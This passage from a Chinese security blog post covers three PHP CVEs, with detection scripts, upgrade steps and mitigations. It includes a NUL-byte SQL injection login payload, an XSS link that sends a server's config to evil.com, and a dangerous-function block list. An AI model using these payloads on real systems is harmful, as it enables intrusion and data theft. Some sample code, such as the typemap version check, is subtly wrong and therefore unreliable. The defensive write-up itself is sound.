-- PDO Firebird 转义后(错误):
-- 'admin'' OR ''1''=''1'
-- ^^^^^ 只有 NUL 前的内容被转义
-- NUL 后的 OR '1'='1 逃逸了
-- 实际传入 Firebird 的 SQL:
SELECT * FROM users WHERE username = 'admin' OR '1'='1'
-- 注入成功!所有用户被返回
3.2 攻击场景模拟
http
POST /api/login HTTP/1.1
Host: target-app.example.com
Content-Type: application/json
{
"username": "admin\u0000' OR '1'='1",
"password": "anything"
}
攻击者在用户名中嵌入了 NUL 字节(\u0000),PDO Firebird 的 quote() 函数仅转义了 NUL 之前的部分,NUL 之后的 SQL 语句片段成功逃逸引号保护。
3.3 利用条件
触发 CVE-2025-14179 需要:
条件 A: PHP 使用受影响版本
条件 B: 应用使用 PDO Firebird 驱动连接 Firebird 数据库
条件 C: 应用使用 PDO::quote() 或拼接 SQL(未使用 prepared statement)
条件 D: 攻击者能够控制拼接 SQL 的输入参数
只有 A + B + C + D → SQL 注入可利用
好消息是,如果应用使用了 prepared statement (参数化查询),即使使用受影响的 PHP 版本也不受此漏洞影响。只有依赖 PDO::quote() 手动转义后拼接 SQL 的应用才存在风险。
4. CVE-2026-6735:PHP-FPM Status 端点 XSS
4.1 漏洞根因
CVE-2026-6735 是 PHP-FPM(FastCGI Process Manager)的内置状态页面中的一个跨站脚本(XSS)漏洞。PHP-FPM 提供了一个 /status 和 /ping 端点用于监控进程状态,这些端点在处理某些用户可控的输入参数时没有正确过滤输出。
php
// sapi/fpm/fpm/fpm_status.c(漏洞版本逻辑简化)
// PHP-FPM 的 status 页面处理函数
static void fpm_status_emit_output(...)
{
// 处理查询字符串参数
char *query_string = SG(request_info).query_string;
if (query_string) {
// 解析 HTML 格式参数
char *html_param = strstr(query_string, "html=");
if (html_param) {
html_param += 4;
// 漏洞: 直接将用户输入的 html 参数值输出到页面
// 没有进行 HTML 实体编码
php_printf("<div class=\"custom-param\">%s</div>", html_param);
// 可以构造: ?html=<script>alert('XSS')</script>
}
}
}
为什么这段代码有风险?PHP-FPM 状态页面本身是一个监控工具,设计上通常只暴露给内部网络或运维人员。但很多场景下运维人员为了方便,会将状态页面配置为可通过互联网访问,或者将其暴露在反向代理后面:
- 直接从 Web 服务器配置中暴露了
/status路径 - 将状态页面放在公网负载均衡器后面
- 内部网应用中存在 SSRF 漏洞可以访问状态页面
4.2 攻击场景模拟
攻击者构造一个包含恶意 JavaScript 的链接:
html
<!-- 攻击者发送给运维人员的恶意链接 -->
<!-- 诱骗运维人员点击 -->
https://target-php-server.com/status?html=<script>fetch('/config.php').then(r=>r.text()).then(d=>fetch('https://evil.com/steal?d='+btoa(d)))</script>
攻击流程:
PHP-FPM Server 运维人员 攻击者 PHP-FPM Server 运维人员 攻击者 #mermaid-svg-623F5IKRRSR4tizr{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-623F5IKRRSR4tizr .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-623F5IKRRSR4tizr .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-623F5IKRRSR4tizr .error-icon{fill:#552222;}#mermaid-svg-623F5IKRRSR4tizr .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-623F5IKRRSR4tizr .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-623F5IKRRSR4tizr .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-623F5IKRRSR4tizr .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-623F5IKRRSR4tizr .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-623F5IKRRSR4tizr .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-623F5IKRRSR4tizr .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-623F5IKRRSR4tizr .marker{fill:#333333;stroke:#333333;}#mermaid-svg-623F5IKRRSR4tizr .marker.cross{stroke:#333333;}#mermaid-svg-623F5IKRRSR4tizr svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-623F5IKRRSR4tizr p{margin:0;}#mermaid-svg-623F5IKRRSR4tizr .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-623F5IKRRSR4tizr text.actor>tspan{fill:black;stroke:none;}#mermaid-svg-623F5IKRRSR4tizr .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-623F5IKRRSR4tizr .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg-623F5IKRRSR4tizr .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg-623F5IKRRSR4tizr .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg-623F5IKRRSR4tizr #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg-623F5IKRRSR4tizr .sequenceNumber{fill:white;}#mermaid-svg-623F5IKRRSR4tizr #sequencenumber{fill:#333;}#mermaid-svg-623F5IKRRSR4tizr #crosshead path{fill:#333;stroke:#333;}#mermaid-svg-623F5IKRRSR4tizr .messageText{fill:#333;stroke:none;}#mermaid-svg-623F5IKRRSR4tizr .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-623F5IKRRSR4tizr .labelText,#mermaid-svg-623F5IKRRSR4tizr .labelText>tspan{fill:black;stroke:none;}#mermaid-svg-623F5IKRRSR4tizr .loopText,#mermaid-svg-623F5IKRRSR4tizr .loopText>tspan{fill:black;stroke:none;}#mermaid-svg-623F5IKRRSR4tizr .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg-623F5IKRRSR4tizr .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg-623F5IKRRSR4tizr .noteText,#mermaid-svg-623F5IKRRSR4tizr .noteText>tspan{fill:black;stroke:none;}#mermaid-svg-623F5IKRRSR4tizr .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg-623F5IKRRSR4tizr .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg-623F5IKRRSR4tizr .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg-623F5IKRRSR4tizr .actorPopupMenu{position:absolute;}#mermaid-svg-623F5IKRRSR4tizr .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg-623F5IKRRSR4tizr .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg-623F5IKRRSR4tizr .actor-man circle,#mermaid-svg-623F5IKRRSR4tizr line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg-623F5IKRRSR4tizr :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 浏览器执行恶意脚本 发送恶意链接(含XSS payload) 点击链接访问 /status?html=... 返回包含 <script> 的 HTML 页面 脚本读取敏感配置 返回配置信息 脚本将数据发送到攻击者服务器
4.3 利用条件
条件 A: PHP 使用受影响版本
条件 B: PHP-FPM 的 pm.status_path 已启用
条件 C: 攻击者能够访问到 /status 页面
条件 D: 攻击者能诱骗运维/管理员点击链接(反射型 XSS)
或存储恶意内容到状态日志中(存储型 XSS)
只有 A + B + C + D → XSS 可利用
5. 漏洞检测方法
5.1 一键检测脚本
以下脚本可检测当前 PHP 环境是否受三个漏洞影响:
bash
#!/bin/bash
# PHP 高危 CVE 检测脚本
# 检测 CVE-2026-6722 / CVE-2025-14179 / CVE-2026-6735
echo "============================================"
echo " PHP 高危 CVE 检测工具"
echo " 检测: CVE-2026-6722 / CVE-2025-14179 / CVE-2026-6735"
echo "============================================"
echo ""
# Step 1: 检查 PHP 版本
echo "[1/5] 检查 PHP 版本..."
PHP_VERSION=$(php -r "echo PHP_VERSION;" 2>/dev/null)
if [ -z "$PHP_VERSION" ]; then
echo "[!!] 无法获取 PHP 版本,请确认 PHP 已安装并可执行"
exit 1
fi
echo " PHP 版本: $PHP_VERSION"
# 解析版本号
MAJOR=$(echo "$PHP_VERSION" | cut -d. -f1)
MINOR=$(echo "$PHP_VERSION" | cut -d. -f2)
PATCH=$(echo "$PHP_VERSION" | cut -d. -f3)
PATCH=${PATCH:-0}
# 检测是否为受影响的版本
VULNERABLE=false
# 检查安全版本阈值
case "$MAJOR.$MINOR" in
8.5) [ "$PATCH" -lt 6 ] && VULNERABLE=true ;;
8.4) [ "$PATCH" -lt 21 ] && VULNERABLE=true ;;
8.3) [ "$PATCH" -lt 31 ] && VULNERABLE=true ;;
8.2) [ "$PATCH" -lt 31 ] && VULNERABLE=true ;;
8.1) VULNERABLE=true ;; # 已终止支持
8.0) VULNERABLE=true ;; # 已终止支持
7.*) VULNERABLE=true ;; # 已终止支持
*) VULNERABLE=false ;; # 未知版本
esac
if [ "$VULNERABLE" = true ]; then
echo " [!!] 状态: 受影响 - 需要升级到安全版本"
else
echo " [OK] 状态: 不受影响(版本已修复或不受支持范围)"
fi
echo ""
# Step 2: 检查 SOAP 扩展
echo "[2/5] 检查 SOAP 扩展状态..."
php -m | grep -qi soap && SOAP_ENABLED=true || SOAP_ENABLED=false
if [ "$SOAP_ENABLED" = true ]; then
echo " [!!] SOAP 扩展已启用 - 若版本受影响,可被 CVE-2026-6722 利用"
else
echo " [OK] SOAP 扩展未启用"
fi
echo ""
# Step 3: 检查 PDO Firebird 驱动
echo "[3/5] 检查 PDO Firebird 驱动..."
php -m | grep -qi pdo_firebird && FIREBIRD_ENABLED=true || FIREBIRD_ENABLED=false
if [ "$FIREBIRD_ENABLED" = true ]; then
echo " [!!] PDO Firebird 驱动已启用 - 若版本受影响,可被 CVE-2025-14179 利用"
else
echo " [OK] PDO Firebird 驱动未启用"
fi
echo ""
# Step 4: 检查 PHP-FPM 状态页面
echo "[4/5] 检查 PHP-FPM 状态页面配置..."
PHP_FPM_CONF=$(php -i 2>/dev/null | grep "php-fpm.conf" | head -1 | awk '{print $NF}')
if [ -z "$PHP_FPM_CONF" ]; then
# 尝试常见路径
for CONF_PATH in /etc/php/*/fpm/php-fpm.conf /etc/php-fpm.conf /usr/local/etc/php-fpm.conf; do
[ -f "$CONF_PATH" ] && PHP_FPM_CONF="$CONF_PATH" && break
done
fi
if [ -n "$PHP_FPM_CONF" ] && [ -f "$PHP_FPM_CONF" ]; then
STATUS_PATH=$(grep -i "pm.status_path" "$PHP_FPM_CONF" 2>/dev/null | head -1)
if [ -n "$STATUS_PATH" ]; then
echo " [!!] PHP-FPM 状态页面已配置: $STATUS_PATH"
echo " 若对外暴露,可被 CVE-2026-6735 利用"
else
echo " [OK] PHP-FPM 状态页面未配置"
fi
else
echo " [*] 未找到 PHP-FPM 配置文件(可能是 CLI 模式)"
fi
echo ""
# Step 5: 风险评级
echo "[5/5] 综合风险评级..."
RISK_LEVEL="低"
if [ "$VULNERABLE" = true ]; then
RISK_LEVEL="高"
fi
if [ "$VULNERABLE" = true ] && { [ "$SOAP_ENABLED" = true ] || [ "$FIREBIRD_ENABLED" = true ]; }; then
RISK_LEVEL="严重"
fi
echo " 综合风险: $RISK_LEVEL"
echo ""
echo "============================================"
echo " 检测完成"
echo "============================================"
echo ""
echo "建议:"
if [ "$VULNERABLE" = true ]; then
echo " 1. 升级 PHP 到 8.2.31 / 8.3.31 / 8.4.21 / 8.5.6 或更高版本"
echo " 2. 检查是否存在废弃版本(8.0/8.1/7.x)并规划升级"
echo " 3. 检查 SOAP 功能是否必要,不使用时移除扩展"
echo " 4. 检查 PHP-FPM 状态页面是否对外暴露"
fi
exit 0
5.2 手动检测方法
检测 PHP 版本:
bash
# 为什么需要确认版本?因为修复补丁是按分支发布的
php -v | head -1
# 输出示例
# PHP 8.4.15 (cli) (built: ...)
# 8.4.15 < 8.4.21 → 受影响,需升级
检查 SOAP 扩展是否加载:
php
<?php
// 检测 SOAP 扩展是否可用
if (extension_loaded('soap')) {
echo "[!!] SOAP 扩展已加载 - 若版本 < 8.2.31/8.3.31/8.4.21/8.5.6";
echo " 则存在 CVE-2026-6722 风险\n";
// 进一步检测是否配置了 typemap
$ref = new ReflectionClass('SoapServer');
echo "SoapServer 可用: " . ($ref->isInstantiable() ? '是' : '否') . "\n";
} else {
echo "[OK] SOAP 扩展未加载\n";
}
检测 PHP-FPM 状态页面暴露情况:
bash
# 为什么需要检测网络可达性?即使配置了状态页面
# 如果只绑定了本地地址,外部攻击者也访问不到
# 本地检测
curl -s http://localhost:8080/status 2>/dev/null | head -5
# 外部检测(从另一台机器执行)
curl -s https://production-php-server.example.com/status 2>/dev/null | head -5
# 如果返回了状态信息(含进程池、请求统计等),则暴露了状态页面
6. 修复方案详解
6.1 方案一:升级 PHP 版本(推荐)
升级到安全版本是最彻底的修复方式,一个版本升级可以修复全部三个漏洞。
准备工作:
bash
# 为什么需要先收集信息?升级 PHP 大版本可能涉及扩展兼容性问题
# 在做升级前必须清楚当前环境和配置
# 记录当前 PHP 版本和扩展列表
php -v > /tmp/php-info-before-upgrade.txt
php -m >> /tmp/php-info-before-upgrade.txt
# 记录 PHP-FPM 配置
php-fpm -tt 2>&1 | grep -i "error\|warn" > /tmp/php-fpm-config-check.txt
# 记录 php.ini 配置
php -i | grep -i "configure\|php.ini\|extension_dir" >> /tmp/php-info-before-upgrade.txt
通过系统包管理器升级(适用于从官方仓库安装的场景):
bash
# Ubuntu / Debian 系统
# 为什么需要添加 PPA/Ondrej 仓库?Ubuntu 默认仓库中的 PHP 版本通常不是最新的安全版本
sudo add-apt-repository ppa:ondrej/php -y
sudo apt-get update
# 升级到 PHP 8.4.21
sudo apt-get install --only-upgrade php8.4 php8.4-{common,fpm,soap,cli,mysql,pgsql} -y
# 验证升级后的版本
php -v | grep "PHP 8.4"
bash
# CentOS / RHEL / AlmaLinux 系统(使用 Remi 仓库)
sudo yum install -y https://rpms.remirepo.net/enterprise/remi-release-9.rpm
sudo yum module reset php -y
sudo yum module enable php:remi-8.4 -y
# 升级到 PHP 8.4.21
sudo yum update php* -y
# 验证升级
php -v
从源码编译升级:
bash
# 场景:自建 PHP 编译环境,需要保留自定义编译参数
# 记录当前编译参数
php -i | grep "Configure Command" | sed 's/Configure Command => //' > /tmp/php-configure-args.txt
# 下载并解压安全版本
cd /usr/local/src
wget https://www.php.net/distributions/php-8.4.21.tar.gz
tar -xzf php-8.4.21.tar.gz
cd php-8.4.21
# 使用之前的编译参数重新编译
# 注意:根据实际环境修改 --prefix 和其他路径参数
./configure --prefix=/usr/local/php-8.4.21 \
--with-config-file-path=/usr/local/php-8.4.21/etc \
--enable-fpm \
--with-fpm-user=www \
--with-fpm-group=www \
--enable-soap \
--with-pdo-firebird \
--with-mysqli \
--with-pdo-mysql \
--with-openssl \
--enable-mbstring \
--with-curl \
--with-zlib
make -j$(nproc)
sudo make install
# 复制配置文件
sudo cp php.ini-production /usr/local/php-8.4.21/etc/php.ini
sudo cp sapi/fpm/php-fpm.conf /usr/local/php-8.4.21/etc/
# 切换到新版 PHP
sudo ln -sf /usr/local/php-8.4.21/bin/php /usr/local/bin/php
sudo ln -sf /usr/local/php-8.4.21/sbin/php-fpm /usr/local/sbin/php-fpm
# 重启 PHP-FPM
sudo systemctl restart php8.4-fpm
# 验证
php -v
# 输出: PHP 8.4.21
Docker 场景升级:
dockerfile
# Dockerfile - 升级到 PHP 8.4.21
FROM php:8.4.21-fpm-alpine
# 安装 SOAP 扩展(如有需要)
RUN docker-php-ext-install soap
# 安装 Firebird PDO 驱动(如有需要)
RUN docker-php-ext-install pdo_firebird
# 验证
RUN php -v
yaml
# docker-compose.yml - 更新服务版本
services:
php:
# 改前: image: php:8.4.15-fpm-alpine
image: php:8.4.21-fpm-alpine # 升级到安全版本
volumes:
- ./app:/var/www/html
ports:
- "9000:9000"
6.2 方案二:临时缓解措施(无法立即升级时)
如果不能立即升级,可以采取以下措施降低风险暴露面。
针对 CVE-2026-6722(SOAP UAF):
ini
; php.ini 中禁用 SOAP 扩展
; 前提:应用不需要使用 SOAP 功能
; 修改前:
; extension=soap
; 修改后:
; extension=soap ← 注释掉这行
; 确认禁用
; php -m | grep soap
; 不应输出任何内容
如果必须使用 SOAP,可以在应用层过滤 Apache Map 类型的数据:
php
<?php
// 应用层缓解 CVE-2026-6722
// 在 SoapServer 处理请求前,过滤 Apache Map 类型
class SafeSoapServer extends SoapServer
{
public function handle($request = null)
{
if ($request === null) {
$request = file_get_contents('php://input');
}
// 检查请求体中是否包含 apache:Map 类型
if (stripos($request, 'apache:map') !== false) {
// 记录告警
error_log("[SECURITY] CVE-2026-6722: SOAP request with apache:Map blocked");
// 返回 SOAP 错误
header('Content-Type: application/soap+xml');
echo '<?xml version="1.0"?>';
echo '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">';
echo '<SOAP-ENV:Body><SOAP-ENV:Fault>';
echo '<faultcode>SOAP-ENV:Server</faultcode>';
echo '<faultstring>Unsupported data type: apache:Map</faultstring>';
echo '</SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>';
return;
}
parent::handle($request);
}
}
针对 CVE-2025-14179(Firebird SQL 注入):
php
<?php
// 应用层缓解 CVE-2025-14179
// 方法一:切换到 prepared statement(推荐)
// 不安全的写法(存在注入风险):
$username = $_POST['username'];
$sql = "SELECT * FROM users WHERE username = '" .
$pdo->quote($username) . "'";
$stmt = $pdo->query($sql);
// 安全的写法(不受 CVE-2025-14179 影响):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$_POST['username']]);
$users = $stmt->fetchAll();
php
<?php
// 应用层缓解 CVE-2025-14179
// 方法二:过滤 NUL 字节(临时措施)
function sanitizeForFirebird($input)
{
// 移出 NUL 字节
$cleaned = str_replace("\0", '', $input);
// 记录异常输入
if ($cleaned !== $input) {
error_log("[SECURITY] CVE-2025-14179: NUL byte detected in input");
}
return $cleaned;
}
// 在所有用户输入进入数据库前调用
$username = sanitizeForFirebird($_POST['username']);
$sql = "SELECT * FROM users WHERE username = '" .
$pdo->quote($username) . "'";
针对 CVE-2026-6735(FPM Status XSS):
nginx
# Nginx 反向代理配置 - 阻止对 PHP-FPM 状态页面的外部访问
server {
listen 80;
server_name example.com;
# 正常的应用代理
location / {
try_files $uri /index.php$is_args$args;
}
# 阻止外部访问 status 页面
location /status {
# 白名单:只允许内网 IP 访问
allow 127.0.0.1;
allow 10.0.0.0/8;
allow 172.16.0.0/12;
allow 192.168.0.0/16;
deny all;
# 将请求转发到 PHP-FPM 的 status 端口
fastcgi_pass unix:/var/run/php/php8.4-fpm.sock;
fastcgi_param SCRIPT_FILENAME /status;
include fastcgi_params;
}
# PHP 处理
location ~ \.php$ {
fastcgi_pass unix:/var/run/php/php8.4-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
或者在 PHP-FPM 配置中完全禁用状态页面:
ini
; /etc/php/8.4/fpm/pool.d/www.conf
; 如果不需要状态页面,注释掉以下配置
; pm.status_path = /status
; ping.path = /ping
; 或者将 status 绑定到仅本地地址
listen = 127.0.0.1:9000
; 确保 FPM 只监听本地地址,不暴露给网络
7. 踩坑实录
踩坑 1:升级 PHP 后扩展不兼容
bash
# 表现:升级 PHP 8.4.15 → 8.4.21 后,应用报错
# PHP Fatal error: Uncaught Error: Call to undefined function mysql_connect()
# 原因:PHP 8.x 移除了旧的 ext/mysql 扩展(非 PDO),
# 升级后之前的扩展文件路径变更,旧扩展没有随之更新
# 解决方案:确认使用的扩展在新版本中已安装
php -m | grep -i pdo # 确认 PDO 相关驱动正常
php -m | grep -i soap # 确认 SOAP 扩展正常
# 如果某些扩展丢失,重新安装
sudo apt-get install php8.4-soap php8.4-mysql php8.4-pgsql
# 如果使用编译安装,需要在编译时通过 --with-* 参数启用
踩坑 2:Firebird 数据库连接池中的持久连接
php
<?php
// 表现:升级 PHP 后,已建立的 Firebird 持久连接仍在旧版本进程中
// 新请求可能被分配到已修复的新 worker,也可能被分配到旧 worker
// 原因:PHP-FPM 使用进程池管理 worker 进程
// 滚动重启时,新旧进程共存导致部分请求仍运行在有漏洞的版本
// 解决方案:确保完全重启所有 PHP-FPM 进程
// 不安全的重启(旧进程可能存活)
sudo systemctl reload php8.4-fpm
# 或 sudo kill -USR2 $(cat /run/php/php8.4-fpm.pid)
// 安全的完全重启
sudo systemctl stop php8.4-fpm
sleep 2 # 等待所有子进程退出
ps aux | grep php-fpm # 确认没有残留的 php-fpm 进程
sudo systemctl start php8.4-fpm
踩坑 3:SOAP 客户端与服务端版本不一致
xml
<!-- 表现:服务端升级 PHP 后,SOAP 客户端报错 -->
<!-- SoapFault: looks like we got no XML document -->
<!-- 原因:某些旧版 SOAP 客户端的 XML 解析器不兼容新版本 -->
<!-- 的 SOAP 序列化格式,特别是 Apache Map 类型的处理方式 -->
<!-- 解决方案:同步升级客户端和服务端 PHP 版本 -->
<!-- 或者在服务端 SOAP 配置中添加兼容性选项 -->
php
<?php
// 服务端:添加 SOAP 兼容性配置
$options = [
'uri' => 'http://example.com/soap',
'soap_version' => SOAP_1_2,
'encoding' => 'UTF-8',
// 不配置 typemap------这是 CVE-2026-6722 的触发条件之一
];
// 如果不确定是否需要 typemap,尝试移除该配置
// 之前可能有的配置:
// 'typemap' => [...],
踩坑 4:Kubernetes 环境中的滚动更新
yaml
# 表现:K8s 滚动更新后,部分 Pod 仍然使用旧版本 PHP
# kubectl get pods 显示全部已更新,但应用仍报漏洞版本错误
# 原因:使用了非标准的 PHP 镜像,更新 image tag 后
# deployment 中的 imagePullPolicy 是 IfNotPresent
# 导致某些 node 上的 kubelet 使用了缓存的旧镜像
# 解决方案:显式设置 imagePullPolicy: Always
apiVersion: apps/v1
kind: Deployment
spec:
template:
spec:
containers:
- name: php
image: php:8.4.21-fpm-alpine # 升级到安全版本
imagePullPolicy: Always # 确保拉取最新镜像
# 或者更新 tag 到新的唯一标识
8. 长期加固建议
8.1 PHP 版本自动更新策略
bash
# 对于使用系统包管理器管理的 PHP,配置安全更新自动安装
# /etc/apt/apt.conf.d/50unattended-upgrades
Unattended-Upgrade::Allowed-Origins {
"${distro_id}:${distro_codename}-security";
// 如果使用 Ondrej PPA
"LP-PPA-ondrej-php:${distro_codename}";
};
Unattended-Upgrade::Package-Blacklist {
// 不要自动更新 PHP 大版本(如 8.3 → 8.4)
// 只允许安全补丁更新(如 8.4.15 → 8.4.21)
"php8.5-";
};
8.2 PHP 安全基线配置
ini
; /etc/php/8.4/fpm/php.ini - 安全加固配置
; 禁用不需要的扩展
; extension=soap ; 如果不用 SOAP,注释掉
; extension=pdo_firebird ; 如果不用 Firebird
; 设置错误报告级别(生产环境)
error_reporting = E_ALL & ~E_DEPRECATED & ~E_STRICT
display_errors = Off
log_errors = On
error_log = /var/log/php-fpm/error.log
; 禁用危险函数
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
; 限制文件访问
open_basedir = /var/www/html:/tmp
ini
; /etc/php/8.4/fpm/pool.d/www.conf - FPM 安全配置
; 确保只监听本地地址
listen = 127.0.0.1:9000
; 如果不使用状态页面,注释掉
; pm.status_path = /status
; ping.path = /ping
; 设置进程运行用户(最小权限原则)
user = www-data
group = www-data
; 限制同时打开的请求数
pm.max_children = 50
8.3 SOAP 使用规范
php
<?php
// SOAP 安全使用最佳实践
class SecureSoapHandler
{
private $client;
private $useTypemap;
public function __construct(string $wsdl, bool $useTypemap = false)
{
$this->useTypemap = $useTypemap;
$options = [
'trace' => true,
'exceptions' => true,
'cache_wsdl' => WSDL_CACHE_NONE, // 开发环境
'features' => SOAP_SINGLE_ELEMENT_ARRAYS,
];
// 只在明确需要时才启用 typemap
if ($useTypemap) {
$this->validateTypemapUsage();
$options['typemap'] = $this->getRequiredTypemap();
}
$this->client = new SoapClient($wsdl, $options);
}
private function validateTypemapUsage()
{
// 检查 PHP 版本是否已修复 CVE-2026-6722
if (version_compare(PHP_VERSION, '8.4.21', '<') &&
version_compare(PHP_VERSION, '8.3.31', '<') &&
version_compare(PHP_VERSION, '8.2.31', '<')) {
error_log("[SECURITY] CVE-2026-6722: typemap used with unpatched PHP");
throw new RuntimeException(
'Using SOAP typemap requires PHP 8.4.21+ / 8.3.31+ / 8.2.31+'
);
}
}
}
8.4 自动化监控
bash
#!/bin/bash
# /etc/cron.daily/php-security-check
# 每日检查 PHP 版本是否安全
PHP_VERSION=$(php -r "echo PHP_VERSION;")
PHP_MAJOR=$(echo "$PHP_VERSION" | cut -d. -f1)
PHP_MINOR=$(echo "$PHP_VERSION" | cut -d. -f2)
PHP_PATCH=$(echo "$PHP_VERSION" | cut -d. -f3)
SAFE_VERSIONS=(
"8.5.6"
"8.4.21"
"8.3.31"
"8.2.31"
)
IS_SAFE=false
for SAFE in "${SAFE_VERSIONS[@]}"; do
SAFE_MAJOR=$(echo "$SAFE" | cut -d. -f1)
SAFE_MINOR=$(echo "$SAFE" | cut -d. -f2)
SAFE_PATCH=$(echo "$SAFE" | cut -d. -f3)
if [ "$PHP_MAJOR" -eq "$SAFE_MAJOR" ] && \
[ "$PHP_MINOR" -eq "$SAFE_MINOR" ] && \
[ "$PHP_PATCH" -ge "$SAFE_PATCH" ]; then
IS_SAFE=true
break
fi
done
if [ "$IS_SAFE" = false ]; then
SUBJECT="[ALERT] PHP 版本不安全: $PHP_VERSION"
MESSAGE="服务器 $(hostname) 的 PHP 版本 $PHP_VERSION 存在已知安全漏洞。"
MESSAGE+="建议升级到 8.2.31 / 8.3.31 / 8.4.21 / 8.5.6 或更高版本。"
# 发送告警(示例:写入日志 + 邮件)
logger -p user.warning "PHP SECURITY: $MESSAGE"
echo "$MESSAGE" | mail -s "$SUBJECT" admin@example.com
fi
9. 总结与行动清单
2026 年 5 月发布的 PHP 安全版本修复了三个高危漏洞,其中 CVE-2026-6722(CVSS 9.5)为 SOAP 扩展中的 Use-After-Free 漏洞,可导致远程代码执行,是本次修复中最严重的漏洞。CVE-2025-14179(CVSS 7.4)影响 PDO Firebird 驱动的转义逻辑,CVE-2026-6735(CVSS 7.3)影响 PHP-FPM 状态页面的输出过滤。
核心教训:及时跟进 PHP 版本更新是防范安全风险的最有效手段。PHP 安全团队在每个小版本中都会修复已发现的安全漏洞,升级不应等到"有空再弄"。在生产环境中,建议将 PHP 版本更新纳入月度常规维护计划。
优先级行动清单
| 优先级 | 行动项 | 负责人 | 预计耗时 |
|---|---|---|---|
| P0 | 检测当前 PHP 版本是否受影响 | 运维 | 15 分钟 |
| P0 | 升级 PHP 到 8.2.31 / 8.3.31 / 8.4.21 / 8.5.6 | 运维 | 1-2 小时 |
| P0 | 完全重启 PHP-FPM 确保所有 worker 使用新版本 | 运维 | 10 分钟 |
| P1 | 检查 SOAP 扩展必要性,不使用时移除 | 开发 | 30 分钟 |
| P1 | 检查 Firebird 数据库连接是否使用 prepared statement | 开发 | 1 小时 |
| P1 | 检查 PHP-FPM 状态页面是否对外暴露 | 安全 | 30 分钟 |
| P2 | 添加 PHP 版本自动监控告警 | 运维 | 1 小时 |
| P2 | 审查 PHP 扩展列表,移除不需要的扩展 | 开发 | 2 小时 |
| P2 | 建立 PHP 版本月度更新机制 | 运维 | 2 小时 |
参考资料
- PHP 官方发布公告: PHP 8.4.21 Release Notes
- NVD CVE-2026-6722: https://nvd.nist.gov/vuln/detail/CVE-2026-6722
- NVD CVE-2025-14179: https://nvd.nist.gov/vuln/detail/CVE-2025-14179
- NVD CVE-2026-6735: https://nvd.nist.gov/vuln/detail/CVE-2026-6735
- PHP 官方下载: https://www.php.net/downloads.php
- PHP SOAP 文档: https://www.php.net/manual/en/book.soap.php
如果本文对你有帮助,欢迎点赞、收藏、转发!你的支持是我持续输出安全内容的最大动力!
你的 PHP 是什么版本?有没有遇到过 SOAP 相关的安全问题?欢迎评论区留言交流!
关注我,获取第一手高危 CVE 漏洞分析和实战修复指南!
行文仓促,定有不足之处,欢迎朋友们在评论区批评指正!